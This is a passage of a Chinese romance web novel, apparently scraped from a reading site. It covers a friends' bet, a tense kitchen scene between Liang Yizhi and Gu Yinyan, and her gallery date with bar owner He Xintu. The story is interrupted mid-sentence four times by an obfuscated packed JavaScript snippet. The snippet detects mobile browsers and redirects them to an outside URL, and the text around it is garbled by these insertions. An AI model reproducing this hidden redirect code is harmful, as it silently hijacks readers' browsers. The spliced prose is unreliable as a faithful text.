顾寅言走到跟前,从他手里抽出手机,手指轻划,把屏幕亮度调高。 即便亮度开到再大,因为当时拍摄环境的原因,清晰度本就不高。 照片里,一男一女坐在一侧,桌前放着两杯颜色各异的酒。灯光晦暗,他们的眼神看着彼此,在暧昧朦胧的氛围中互相交换。 他单手拇指和食指将照片放大。 蒋徊嬉皮笑脸地问:“诶,这男的你记得吗?就是上次出手帮我们在火锅店拦着流氓的人。早就想跟他认识一下了,没想到还真碰上了。我觉得这男的不错,够仗义,路见不平拔刀相助,至少人品有保障了。” “改天叫亦芝介绍我们一波人认识认识,你觉得怎么样?据说他是酒吧老板,以后要是他俩谈上了,我们也又多了一个可以喝酒的方便地儿了。” “你花钱可以去任何地方喝酒。”顾寅言把手机还给他,“况且你想的未免太远了。” 蒋徊听出来了,顾寅言的言下之意是他并不看好他们。他一时好胜心起,问:“赌不赌?” “赌什么?” “我赌他们不出一个月就会在一起。” 顾寅言淡淡问:“你哪来的自信?” “不是自信,是祝福,美好的祝福。”蒋徊说,“我希望我的朋友能跟一个好人在一起,那是皆大欢喜。” “那我赌不会。”顾寅言把手插进兜里看着他。 “我赌他不是你口中的好人,至少不是适合梁亦芝的人。他们不可能在一起。” 蒋徊听他这话乐了:“那条件呢?” “给我当半年的球童。” “?……” 听他说完,蒋徊当即后悔,他可没那么爱运动,要是半年的空闲时间都陪顾寅言花在打球上,那他将损失掉一大半吃喝玩乐的时间,人生都将变得暗淡无光。 蒋徊耍赖:“其实我觉得你说的挺有道理的,要不咱们还是算了——” “晚了。” 一个网球飞过来,砸在蒋徊面前不远处,随后弹起来落在了他的大腿上。 顾寅言没耐心再听他废话,捡起了球拍重新回到场上:“休息够了就继续吧。” - 这段时间,梁亦芝彻底践行着自己的计划。 她联系了一个画家朋友,给林柚介绍了一份策展助理的工作,活不会太多,虽然比较繁琐,但梁亦芝特地嘱咐了下林柚的伤势,请求朋友尽量不要让她干一些脏活重活。 林柚对此很是感激,说以后等她攒够钱了,一定会好好报答她。 梁亦芝只说不必太在意,又关心起她父亲的情况怎么样。 林柚说:“现在还是会经常性头痛,一进食就会呕吐。昨天还站不起来,都得请其他亲戚背着他去上厕所。” 梁亦芝虽没经历过,但还是尽可能安慰她:“放心吧,你父亲一定会好起来的。之后找个时间,我也去看看他。” “不用不用!”林柚一听,立刻推阻说,“你那么忙,没有必要特地跑一趟的。我爸现在状态不好,我想他也不会想这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250550|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样草率地见帮助我们的人。等过一阵子,他身体好了你再来也不迟。” 这条信息之后,梁亦芝又收到了林柚发来的一张医院的图片。 图片有点模糊,像是手抖了拍下的,但能辨清白色的病房和床上躺着的病怏怏的人影。 梁亦芝又关心了林柚几句,才放下手机,背上包和琴出门,去乐团排练。 休息时间,吴悠跟她出去吃了顿饭,两人就近选择了家附近商场里的拉面,边吃边闲聊。 吴悠跟她吐槽:“你知道吗?我妈最近盘算给我找相亲对象呢。” “怎么说?” “上周突然给我发了张照片,说让我去见见,你等我找给你看。”吴悠打开手机聊天记录。 “说真的,你别吓到。”吴悠把屏幕举到她眼前。 照片看上去是随意的俯拍视角,可以兼得拍下这张照片的人完全没有考虑过角度或美感,只是在纯粹记录这个人的外貌而已。 梁亦芝看了两秒,问吴悠:“是哪个?” “你说呢?谁在图片里占比最大,当然就是谁咯?” 梁亦芝扫过站在最前头的秃顶大叔。 “你……不会说的是这个吧?” “看到照片的那一刻,我也是和你一样的反应。”吴悠扣下手机,“我想死的心都有了。但我妈说人家条件很好,玉城好几套房,做生意的。” “但是,这人……怎么看都感觉跟你差辈了。” 照片里的男子一头地中海,穿着白色T恤和最普通的做旧风牛仔裤,乍一眼看过去,说是吴悠的叔叔都不为过,。 吴悠筷子戳在碗底:“所以我才不懂我妈怎么想的,她觉得我就配这种人吗?要我以后跟他过日子,不如帮我绑起来卖给恐怖分子!” 吴悠比梁亦芝大个两三岁,所以家里很操心她的婚姻状况,念叨她就是要求太高,所以错过了其他条件好的人。 爸妈让她别那么挑,有一个差不多的,就可以加速进展了,不能把时间浪费在筛人上,培养感情才最重要。 吴悠说:“所以我给自己立了个目标,最近一个月,我一定要找到男朋友!而且还要找一个,比他们给我看的条件都更好的!” 梁亦芝点点头:“同意。这样也能堵住你爸妈的嘴。” “那下班后,你跟我一起去吃饭呗。”吴悠看向她,双手合十乞求,“我朋友给我介绍了一个人,我晚上准备去见见,你也帮我把把关。” “今晚?” “对!” “今晚……可能就不行了。”想起前些天的约定,梁亦芝有些于心不忍地拒绝,“我今天约了朋友,晚上要跟人家一块吃饭。” “什么朋友啊?”吴悠八卦心起。 “之前偶然在酒吧认识的,也没见几回,鸽了人家不太好。” “嚯!你有情况啊!”吴悠笑眯眯地看着她,“行!那我准了,回来记得给我汇报。” 梁亦芝笑笑:“普通朋友,你别想太多。” 下午的排练结束,梁亦芝先回了家。稍稍打扮了一番,化了个淡妆才出门。 她为晚上的饭局提前约好了一家餐厅,就在玉城市中心,是一家她吃过味道非常不错的贵州菜,请朋友再合适不过了。 眼看接近晚高峰,她火急火燎地出了门。 …… 两个小时后,梁亦芝家的门铃响起。 尖锐刺耳的铃声断断续续地响了三四次,都没有人接应。 顾寅言孤身站在黑暗的单元楼下,手里提着一箱礼盒。 那是他给自己找的,来到这里的借口。 顾寅言回到车上,盯着手机屏幕看了许久,最后才决定打个电话。 两三个通话拨出去,依旧没有人接听。 再多打的话就过分夸张了,毕竟他还没想到有什么足够要紧的事,能让她现在回来见他。 他一个人坐在黑暗里,无声地盯着通话记录的页面出神。 所以这次,他又来晚了是么? 24. 柑橘香 商场旁边的夜市里。 梁亦芝站在摊位前,两手端着枪,左眼眯起,右眼瞄准红点。 砰砰两声,前方的靶子瞬间倒地。 十枪里还剩四发子弹,这已经是她打中的第五枪了。梁亦芝还从没发现过自己有这样的技能。 所有子弹全部打完,她提着一袋战利品,来到一旁等待的男人面前:“还不错吧?” Gary一边笑一边鼓掌:“牛!实在是牛!我看老板的眼神都有点被你唬到了。” 梁亦芝得意地挑了挑眉,问他:“这些娃娃要不分你一点,你看有你喜欢的吗?” “我拿着这个回去,不太合适吧。”Gary有几分想拒绝,但又想到,一开始是他自己提出要玩这个射击游戏的,梁亦芝替他打下了这么多东西,他一个也不要似乎又不太领情。 他于是从袋子里挑了一个打着领结的泰迪熊:“那我就要这个吧。” “很适合你。”梁亦芝笑说。 这只小熊造型时尚,圆圆的脑袋下顶着一个精致的格纹领结,看上去和Gary一样注重形象,气质很是相似。 梁亦芝问:“别的不要了吗?” “剩下的都是你的,”Gary道,“毕竟是你赢来的,我可不能随随便便霸占。” 梁亦芝跟他客气回去:“你今天都请我吃了饭了,这些小玩意算什么?” 她跟Gary很久没见面了,她邀请对方出来玩,却没想到被Gary抢先买了单。 Gary:“上次是你请的,这次换我,没毛病。” 虽然和Gary最开始认识时还抱着其他目的,但经过短暂的相处,他们已经处成了朋友。 刚刚她打枪时,Gary替她背着包,梁亦芝不敢麻烦人家太久,赶紧接过,从包里拿出手机想看一眼时间, 她戳戳屏幕,手机亮起,锁屏上竟然显示有三个未接来电,全都来自顾寅言。 他怎么会突然给自己打电话? 冷战了这么些天,她和顾寅言都没有过交流。连他们的四人小群里都只有蒋徊和何嫚的记录刷屏,两人都默契地没有先低头。 梁亦芝打开微信,想看看顾寅言有没有给她发什么,可消息列表里安安静静。 她还操心地点开了聊天群、点开了他的头像和朋友圈,生怕自己遗漏什么。可检查完,也没挖掘出顾寅言到底找自己要干嘛。 于是梁亦芝想,应该不是什么大事。等她跟Gary这边结束了,再想想怎么处理和顾寅言之间那层尴尬的隔阂。 到家门口时,已经是晚上九点,梁亦芝付完车钱下来,独自走回家。 正要拐进单元楼的那一幢房区时,她看到路边停着一辆及其眼熟的黑色轿车。 这个车标和外形,小区里没几个人能开得起,只能是他。 梁亦芝想了想,最终还是上前,敲了敲车窗。 顾寅言睁开惺忪疲惫的眼,转头看过去,降下了车窗。 梁亦芝微微弯腰,凑到窗口,东瞟瞟西看看,不自然地开口:“咳咳……你……怎么在这,有什么事吗?” 顾寅言看着窗外人,意识缓慢回笼,思考着如何合理地带出自己准备的借口。 梁亦芝见他没说话,心里猜疑着他此行的目的,又自顾自道:“要是你来是想道歉的话,也没必要,我就当已经收到了。” 看他在她家楼下等了这么久,梁亦芝有些心软,觉得至少顾寅言的诚意还挺足的。 她脚下,小皮鞋的鞋底轻轻磨着地面,斟词酌句道:“其实我也想了很久,我们都不至于为这件事吵架,也不应该因为一个外人闹得不愉快。你说对吗?” 她没敢直视对方的眼睛,也怕顾寅言说出拒绝自己的话,又或者认为她是在故作姿态、强装大度。 顾寅言没多废话,出声道:“同意。” 他不必再准备多余的借口,毕竟她已经给了他一个台阶下。 梁亦芝听见他的回答,终于释然地弯了弯唇角,她问:“那……去我家坐坐?我今晚有约,看在你等了我这么久的份上,请你喝杯茶。赏个脸不?” 顾寅言下了车,跟在梁亦芝后面上了楼。 他从后方打量着她,梁亦芝今天卷过了头发,穿了一套针织衫配百褶裙,长腿露在外,脚踩一双黑色的小皮鞋。 她还化了妆,打扮得如此隆重,看来很重视和对方的见面。 进了电梯,顾寅言不动声色地问:“晚上的约会怎么样?” “挺不错的啊。” 或许是因为今天晚上那顿饭,又或许是因为跟顾寅言解开了误会,梁亦芝看着确实心情甚好。 她抬高手臂,举起手里的战利品给他展示:“看。” “他给你打的?” “才不是。”梁亦芝撇撇嘴,“全都是我自己赢来的好吧?” 电梯门打开,她走出去,边开门边对身后的顾寅言说: “我跟Gary吃完饭,觉得回去还太早,就去旁边的夜市逛了逛,打发了一会儿时间。你不知道,他玩这类射击游戏实在是太菜了,我看不过去,说让我试试,结果一不小心就拿回来了这么多。” 她把钥匙放在门口的收纳架上,给顾寅言拿了双拖鞋:“喏。” 梁亦芝进了屋,见顾寅言还愣在门外,她催促道:“怎么了?” 顾寅言怔在原地。 他一直以为梁亦芝今晚要见的人,是那个卷毛。 原来是gary吗? 只不过是因为听说了她认识了别人的传闻,他就慌乱地跑到她家门口,自乱阵脚。又因为上门扑了个空,还接连给对方去了好几个电话。 简直像个笑话。 顾寅言平复了会儿心情,才抬脚迈入大门。 梁亦芝倒了两杯果汁,拿来客厅,问顾寅言:“你吃晚饭了吗?” “吃过了。” 梁亦芝刚想说,正好她也挺饱的,顾寅言却又道:“不过现在好像有点饿了。” 他平平淡淡地问:“你家有没有什么吃的?” 梁亦芝起身,走到冰箱面前:“……我这几天都有点忙,没做饭,家里只剩些菜叶子了。你要是不介意的话,我给你下个面条?” “都行。” 梁亦芝蹲下身,翻出柜子里的挂面。顾寅言走到了厨房门口,对她道:“还是我来吧。” “你是在跟我客气吗?”梁亦芝拿出挂面,放到台面上,又打开冰箱取出两个鸡蛋。 顾寅言走到她身边,拿过她手里的东西:“可以理解为,我怕吃到一些像面又不是面的东西。” 她不是傻子,很显然能听出顾寅言在贬低她的厨艺。 顾寅言从消毒柜里拿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256432|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗和筷子,熟练地敲开鸡蛋。 梁亦芝在一旁,两手撑在台面上,好整以暇地看他能给自己弄出什么大餐来。 梁亦芝说:“你不知道吧?我现在厨艺进步很多了,之前谢昀吃过我做的饭,都夸我的手艺很好呢。” 顾寅言拿筷子的手一滞,搅合蛋液的速度放慢了点:“你还给他做过?” “当然啊。我还做过爱心盒饭呢,就跟日剧里的那种一样,可好看了。” 顾寅言忽然有些后悔刚刚抢着做了。 他若无其事地又问出下一个问题:“前两天,何嫚在群里发的照片上那个人是谁?” “他叫贺新图。你们之前有过一面之缘,你应该记得他吧。” “记得。” “上次我跟你吵完架,心情不好,又找何嫚去了那里,没想到他是老板。”梁亦芝呆在他身边,头拧得有些费劲,她转过身,腰部下方抵在料理台的边沿上,这样她看着顾寅言的脸能轻松一些。 梁亦芝:“他亲自给我们调了店里的新品试喝,还送我们回家。” 梁亦芝其实有点苦恼,她想倾诉,但又思量着该如何客观地给顾寅言描述现在的情况。 她毫无隐瞒、一五一十地把想法坦白告诉他。 “而且我感觉……他应该多少对我有点意思吧。” 顾寅言袖子挽着,正低头洗菜,池子里的水溅出来,落在他光洁有力的小臂上。 他垂着眼睫,问:“那你呢?你怎么想。” 梁亦芝稍作苦闷地回答:“我觉得……好像太快了,但是又有点控制不住地上头。每次他跟我说话的时候,我都不由自主地盯着他的眼睛看。而且——” 梁亦芝今天穿的针织衫没系扣子,两襟敞着,里面只穿了件平齐胸口的吊带衫。 她把手放到胸口上面,感受着那里。现在的气氛放松又舒适,里面正规律而徐缓地跳动着。 梁亦芝回忆着当时的感受:“每次他说完,我的心跳好像都会变得很快呢。” 顾寅言听完她的话,依旧无动于衷。 他直起身,抬手关了水龙头,凉凉的眼神朝扫射过来: “那是因为他总对你说些暧昧的话,故意让人误会。” “就像电视剧里那样,你会因为男主随便一句话而心动。但放到现实里,脱离了那些人设、滤镜和烘托气氛的配乐之后,就什么也不是。因为他只是通过营造那些假象,给你造成误会。” “是这样吗?”梁亦芝似懂非懂,“可我觉得他人确实还蛮好的,他还提醒我们不要喝太多酒,聊天的时候都很有分寸,也没有什么过分的举动……” 她独自陷入思考,没注意到身前的光影被遮去,一只手臂拦住了她,撑在她身侧。 顾寅言倾身过来,宽大的身躯将她整个人都笼罩在他身下。 梁亦芝没料到这一出,身后退无可退,只能反手撑在台面上,腰部抵着边缘,微微向后仰了几公分,呈现出一道柔软的弧度。 “那我呢?” 头一次,顾寅言离她那么近,近到她快能数清他的每一根睫毛。他们之间一贯的安全距离被打破,她无措地望着他那双眼晴,看到里面只倒映出自己。 那股好闻的柑橘香是他天然的标志。 她听见顾寅言问自己: “你觉得我怎么样?” 25. 一枚纽扣 他盯着她的眼睛,视线又缓缓向下,略过她眼尾、鼻尖,最后垂眸,落在了她的嘴唇上。 红彤彤,亮晶晶,像饱满的樱桃。 她今天应该是涂过了点唇彩,有一根纤细的发丝悄悄地沾在下唇上。 顾寅言虽然是看到了,却没有动作,并不准备帮她摘去,觉得就这样挂着也不错。 他凑近点看,又低声说:“你之前和何嫚说,要找我和蒋徊这样的,这话还算数么?” 脸很熟悉,气息却很陌生,男人的脸和唇都近在咫尺,可她不敢听也不敢看。 “你先放开我再说……”梁亦芝偏过头,心率过快,她尴尬得不知道该把头转向哪个方向才好。 扭头的时候,梁亦芝的头发随惯性飘起,轻轻掠过他的鼻尖,窜过一股淡淡的香气。 距离缩短,梁亦芝不住地往后仰,脸对脸的间隔是变远了,身体和身体之间却越贴越近。她不敢大口呼吸,怕气息的起伏让这距离更显亲密、更加不对味。 对峙足足十几秒,顾寅言才放开手。 “看到了么?”他没事人一般开口。 梁亦芝错愕:“……什么?” “滤镜、时机、氛围……一切让你心动的因素。”顾寅言后退一步,把开阔的空间还给她,“就是这么来的。” 梁亦芝还杵在原地,姿势不变。 所以他刚刚忽然来这么一出,是在给她做示范? 简直快把她吓死了。 她以为,她还以为…… 不对,不可能的,梁亦芝告诉自己。 都是一时的滤镜,气氛烘托到这了,才产生的错觉。 她拉了拉衣襟,偷瞄了顾寅言一眼,正色直言:“……紧张跟心动,是两码事,我刚刚是紧张了。” “紧张多数都是因为害怕,你害怕什么?” 梁亦芝支支吾吾半天说不上来,吐出一句:“……怕你突然犯病。” 说完她又懊悔,觉得自己杀伤力太弱了。 她裹了裹外套,真人示范过后,她又开始回味方才他说的话,还有以往顾寅言给过她的忠告。 细品着,梁亦芝又觉出一丝古怪。 她看着面前男人宽厚的背影:“说正经的,我总觉得你对我身边的人好像都有一股敌意。” 在和周围的每个人交往时,梁亦芝多多少少都和顾寅言提到过他们,可对方就没给过她几个正向反馈,每个对象他都不满意。 她虽然是个乐于听取朋友意见的人,但她也好奇为什么。 顾寅言嗓音清淡,只说:“那是因为你眼光不行。” 梁亦芝嘁一声。她想了会儿,忽然灵机一动: “我知道了。”她忽然意味深长道。 顾寅言背对着她,闻言表情依旧没有变化,喉结暗中上下滚动。 梁亦芝:“你不喜欢他们,是不是因为看我跟别人在一起的时候,你的心情就跟嫁女儿一样?” 顾寅言正低头在案板上切肉丝,听了这话手一抖,刀子不长眼,险些从他的指节上划过去。 “……你有病?” 千算万算他也没猜到是这个走向。 梁亦芝反问:“你就说是不是嘛?” “……我就当你提前认我做父了。” “喂!”被他噎了一句,她气急败坏地喊了一声。 这顿面做得属实是耗费心神,水开了,顾寅言把面捞出锅,放进调好味的面汤里,金灿灿的煎蛋盖在上面,葱花点缀,卖相极好。 梁亦芝看他又拿出一个小碗,立刻说:“我不吃啊,不用给我另盛。” 顾寅言神色不改:“我拿楼下喂狗。” 连败两局,气得梁亦芝咬牙切齿。 把面端到客厅,那一小碗面就这么放在餐桌上。今晚她说了太多话,和gary逛夜市时又消化了不少,梁亦芝不忍心浪费粮食,最后还是坐到他身边,默默端起碗把面吃了。 刚拿起筷子,顾寅言的眼神就飞来,梁亦芝还以为他又要和自己拌嘴,谁知顾寅言却说: “我联系了在A市的一个医生,他是神经外科的专家。那边的医院神经外科排名前三,接诊过的案例很多,手术经验丰富,各方面都很先进。” “你问问林柚,如果现阶段治疗效果不显著的话,要不要考虑转院到A市。” 梁亦芝埋着头,听完这话,讷讷地抬眼看向他。 顾寅言动作斯文,吃着面也没有发出一丝声响,说完之后,静静等待着她的回答。 梁亦芝问:“你不反对我帮她了?” “反对有用么?”顾寅言说。 “况且某人说我高高在上,没有同理心。所以我施舍一下我的钞能力,帮助一下可怜的普通人。” 顾寅言刻意仿着她吵架当时的语气,可梁亦芝这回一点也不介意。 她最近正在为这事发愁,她认识的基本都是年轻的医生朋友,没有足够帮助林柚解决根本问题的人脉。 顾寅言这一波简直是雪中送炭。 梁亦芝知道,顾寅言很少主动掺和什么事情,尤其他还刚和她吵了一架。况且林柚也不是他什么人,他还费了一番功夫去联系医院,只能是因为她的关系。 梁亦芝感动得不行,加上心中对他还存点隐秘的歉意,她展开双臂,为顾寅言的仗义献上了—— 一个大大的拥抱。 这拥抱就不如方才来得浪漫。肘搭着肩,掌拍着背,虽然缺失了点氛围,可却是至真至诚的一个拥抱。 梁亦芝下巴贴在他耳边,低声说:“谢谢你,顾寅言。” 她松开手,眼睛变得水汪汪的,眸光重新亮起:“林柚知道了肯定也会很开心的,我会尽快把这个消息告诉她。” 顾寅言定在原位,他收神,视线碰撞之时,看见她的反应,他轻笑一声: “至于么,有这么开心?” “当然!”梁亦芝昂首肯定。“之前她退学的时候,我也没怎么关心过她的情况,也算是弥补一下遗憾了。” “那……如果最后的结果还是不理想呢?” “那我们也尽力了。”梁亦芝郑重道,“就像你说的,不能什么责任都扛。” 她微微倾身,拿肩膀顶他一下:“而且,毕竟还是我们更熟,我不能因为她的事再多麻烦你。” 她不过玩笑似的动作,没用什么劲。顾寅言巍然不动: “你最好是。” 面吃完,他们又聊了会儿天,梁亦芝出奇地放松,斜躺在沙发上。今天奔波了一天,撑到这会儿已经十分倦怠,她不知不觉就睡了过去。 顾寅言一回头,看见梁亦芝正安然地枕着小臂。 他踟蹰几秒,走了过去,把手臂轻轻塞到她的颈后,梁亦芝整个人打横抱起来。 掂到手里,顾寅言的第一反应是: 似乎比以前轻了不少。 他轻松地把人扛进房间,拧开床头的一盏小夜灯。 梁亦芝不喜欢在黑暗中睡着,独居时如果半夜醒来发现周围一片漆黑,会感到没由来的心慌。因此睡觉时,她总是喜欢开着一盏小灯,至少能让她看清周围的环境。 寂静的空气中传来当啷一声细微的响声,有什么东西掉落在了地上。 顾寅言侧目,是梁亦芝针织衫上的纽扣,刚刚经过时垂下的衣襟不知勾到了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271753|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么地方,纽扣落了下来,轱辘在地上小范围地滚了一圈。 顾寅言将人轻轻地放在床上后,才低身,拾起那枚扣子,在手指尖捻磨。 他坐在床边,又伸手替梁亦芝整理了下头发,避免被身体压到。 床头灯就在一旁,把梁亦芝的脸照得清朗。白天没有机会,而现在他可以轻而易举地利用这光线,仔细凝视她的脸,纤悉无遗地把她看了个遍。 顾寅言发觉自己最近变得很不对劲。 行动常常失控,还变得越来越容易妒忌。只是听到一点风吹草动,他就想要急于求证,那让他觉得自己变得像个小肚鸡肠的男人。 大手忍不住上前,贴在她脸颊上,似触非触。 像轻柔的羽毛、又或者是一根调皮的狗尾巴草。 梁亦芝感觉到被打扰,在睡梦中皱了皱眉。 然而顾寅言并没有为此收敛。 他并不担心她此刻会醒来。相反,如果醒来倒好。被抓到现行,也省去一番口舌再向她解释。 毕竟向她坦白他别有所图这件事,比压制他心底的欲望要难得多的多。 所以,再等一等。 但是。 能不能……先不要喜欢别人? * 梁亦芝半夜就醒来了。 发现自己在床上,但没有卸妆,她瞬间就明白过来是怎么回事。 她喊了两声,确认顾寅言已经走了。她爬起身,先去浴室洗漱完出来,才重新上床。 习惯性地想伸手扭亮床头的台灯,才发现有人已经帮她开好了。 梁亦芝再次舒舒服服地躺回床上,打开手机,例行阅览消息。 一进入微信,贺新图的消息就顶着小红点排在前方,梁亦芝看了眼时间,消息发来时她和顾寅言聊天聊的正上头,忘记看了。 梁亦芝点开,对面的贺新图问: 【周末愉快。你有时间吗,要不要一起去逛一逛这个艺术展?】 【加上上次那顿饭一起。】 他发来一个美术展的分享链接,梁亦芝点开,发现是她挺感兴趣的一个主题的展出。 她答应地很快,又和对方解释了一番自己没看手机回复晚了,两人约定好周日上午十点见面。 梁亦芝抵达门口的时候,发现贺新图已经到了,她赶忙上前:“不好意思,让你久等了吧。” 她虽没迟到,但也没想到贺新图会来的这么早。 他今天穿了一身宽松的皮衣和牛仔裤,休闲感十足,加上嬉皮的卷发,更加容光焕发。 “我也来了不久,”贺新图先客套完,才调侃她,“不过为什么,我总觉得你不太积极呢?” “说好的吃饭,也是我提前邀约。我很伤心呢。” 贺新图勾着唇看向她,在等她就这件事跟他解释。 梁亦芝回应道:“这些天有点忙,但我没有把你忘了,这件事我一直都放在心上,想着忙完了再来找你的。” 梁亦芝想,双方现在了解还不多。但聊天就是你来我往的,这么说的话,他就会问自己在忙什么,然后她就能顺其自然地和他聊起别的话题,互相分享,深入交流,进一步熟悉。 然而贺新图并没有说什么,只是一味地盯着她看,似乎对她的借口并不太关心。 他们站在美术馆门口,日光正好,柔柔地洒在她的发顶,泛着金棕色的光芒。 贺新图笑了笑,抬手摸了摸她脑袋上被阳光眷顾的那一片:“跟你开玩笑呢。” 他来到她身后,两手放在梁亦芝的肩膀上,半推着她进入美术馆的大门,声音从她耳后传来: “快走吧,时间很宝贵的。” 26. 毕加索 贺新图转了一圈,来到她身后,两手放在梁亦芝的肩膀上,声音从她耳后传来: “走吧,时间很宝贵的。” 梁亦芝被半推半就地进入美术馆的大门。 他们走进最前方的展厅,开始参观。时间尚早,今天馆内的人流量不大,厅内十分安静。 他们放缓了脚步,在挂满艺术品的巨大墙面之间,边走边欣赏。 梁亦芝发现,贺新图不是一般的走马观花式看展,他对墙上的画作看得津津有味。 经过每一幅作品前,他的步伐都会更加慢下来,细细品味,看够了才不舍地移开眼睛。 梁亦芝不禁放低了声音问他:“你经常来看画展吗?” “并不是。”他答。 “那这里有你喜欢的画家?” “也没有。” “那你怎么会想到约我来这里?”梁亦芝疑惑了。 贺新图笑说:“没有什么特别的原因,只是找个借口约你出来。” “如果我们约的是你的演出,就没办法跟你聊天了。艺术是互通的,所以我想来这里应该也不错吧。” 贺新图歪了歪头,像在征询她的看法: “安静,气氛好。虽然需要轻声细语地说话,但这样能让我多了解你一点。” 原来是因为想和她有共同话题,才选的这里啊。 梁亦芝没想到,他的想法正和她契合了。她现在对贺新图了解甚少,也想着能和他有更进一步的交流。 他们边逛边聊,在一幅画作前站定。 眼前正是毕加索的《卖花女》。奇异的线条交集和随意切割的几何色块搭配在一起,热烈又生动。 贺新图似乎被这幅画吸引了。 脚步停驻,他的目光在画框内来回地描摹。视线落于下笔的每一处,想象着创作者是如何运用色彩和光影,呈现出这幅作品。 “我还以为你是因为喜欢看画展,才约我来这里。”梁亦芝打量着他的面孔说,“一般人会觉得画展很无聊,我看你好像觉得很有意思。” “是吗?”贺新图没想到会被这样评价,“你这样让我感觉我好像在装腔作势。” 他略仰着头,言语坦诚:“我什么也看不懂,只是在欣赏。” “看不懂也没关系。”梁亦芝不觉得这有什么,“重要的是这一刻,你看见的东西和你心里的感受,把它当作是一种放松就好。” “你说得很对。” 贺新图赞同地回答,望着眼前的画作,他淡淡道: “不理解也是一种美,不是吗?很多东西看得太透彻的话,反而不如一开始的有趣了。” 梁亦芝头一次听到这种说法,有人把不理解也当作一种美。 她倒不是认为这有什么奇怪的,只是感觉这是一种很新奇开放的想法。 未知的东西、隔着一层面纱,总是能够引起人向内探索的欲望。 就像她现在越来越好奇,贺新图究竟是个怎样的人。也因为对他有好感,她总想要再多了解他一点。 他们就这样有一搭没一搭地聊着天,经过画作时,偶尔点评几句。 从美术馆出来,终于是要去吃那顿饭了。 她问了贺新图:“你有没有什么特别喜欢的菜系?” 贺新图说:“都挺喜欢的,我不挑食。” 担心起他的口味,她又多问了一嘴:“你是玉城人吗?” “不是。” “那你家在哪儿?” 贺新图没第一时间回答,他下巴微收,低声说:“在……一个很远的地方。” 梁亦芝心想,距离玉城很远的话,可能就是在北边了。 她问:“那你是北方人?” “嗯,可以这么说。” 既然他这么回答了,梁亦芝也没再细细追问下去。 她状似无意地提起附近有一家很好吃的餐厅,其实是她昨晚做了许多攻略才找到的。 问他这个问题,是想问他能不能吃辣,怕踩到人家的雷点上。 好在贺新图很随和。 吃饭时,梁亦芝怕尴尬,想找点话题,于是提起自己最近因为朋友的事焦头烂额。 她向他倾诉自己担忧的一点:“我想用更自然一点的方式来帮她,怕她会接受了我的帮助,心里更有压力。” 贺新图坐在对面,附和她:“确实挺令人头疼的。” 他并没有就着梁亦芝的话茬继续问下去,而是拿起自己的手机,给梁亦芝看了张图片:“这个地方知道是哪儿吗?” 梁亦芝一眼就认出:“佟镇?” “去过吗?” “没有,只是那里的风景好像和这张图片比较像。” “我准备开一家分店。”贺新图说,“选址在佟镇的一座山脚下。已经订好了,正在筹备装修工作。” “真的吗?”梁亦芝听了他的想法很是惊喜。“山脚下的酒吧,感觉很酷。” “颤颤巍巍地抖着双腿下山,结果走进了一家酒吧,还挺有意思的对吧?”贺新图端起手边的水杯抿了一口。 吃完饭出来,他们沿街散步消食。 梁亦芝想着酒吧,忽然想起上次在群聊里,蒋徊拜托他们问贺新图的事。 她跟他提起:“对了,我有个朋友,上次聊天我们提到了你的酒吧,他也很感兴趣,想问能不能带他的公司同事,来这里团建?” “当然可以。”贺新图很爽气,甚至给她介绍酒水类目,还说可以给她推荐他认识的一些朋友,能提供露营营地或者是轰趴别墅之类的。 分享完这些,他又问起:“是你哪个朋友?” “就是之前我们第一次碰面那天,你见过的。” “火锅店的?”贺新图眯起眼睛,“还是后面来的那个?” “火锅店,和你一块打架的。” “那没问题。”贺新图爽快应下,话锋又一转,“但如果是后面那个就算了。” 梁亦芝一愣,没明白他话里的意思:“为什么?” 贺新图语焉不详:“没什么,我们做生意的人都看缘分,就是没什么眼缘。” 梁亦芝心想:赶巧了,他也对你没什么好感。 但以防万一,她还是问了一嘴:“那如果他也要和我们一起来的话,你介意吗?” “介意的话,你就不带他了?” “……他是我们的朋友。”梁亦芝稍显为难,“你们可以先认识看看,交个朋友,说不定你们熟了之后,会对对方改观呢?” 贺新图一哂:“放心吧,既然是你的朋友,我当然一视同仁。” 他注视着她的眼睛:“只要能见到你。” 贺新图的眼神,让她想起了今天那副毕加索的画。他们的眼神一样充满穿透力,好像刺破薄薄的纸背,朝她直射过来,没有迂回、毫不遮掩。 梁亦芝又是脸热。她不愿相信自己是一个如此不经撩拨的人。 她移开眼睛,神情不属地岔开话题:“……你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 